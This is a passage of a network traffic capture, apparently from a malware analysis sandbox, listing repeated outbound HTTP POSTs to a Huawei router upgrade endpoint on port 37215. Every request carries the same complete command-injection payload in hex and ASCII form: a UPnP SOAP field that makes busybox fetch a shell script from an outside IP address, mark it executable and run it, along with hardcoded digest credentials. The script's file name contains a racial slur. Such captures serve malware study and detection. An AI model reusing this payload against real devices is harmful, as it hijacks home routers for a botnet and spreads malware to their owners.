Feb 19, 2024 18:36:44.554085016 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.412992001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	50066	31.136.1.7	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.682540894 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.231098890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.350753069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.558444023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.165843964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.124582052 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.554091930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
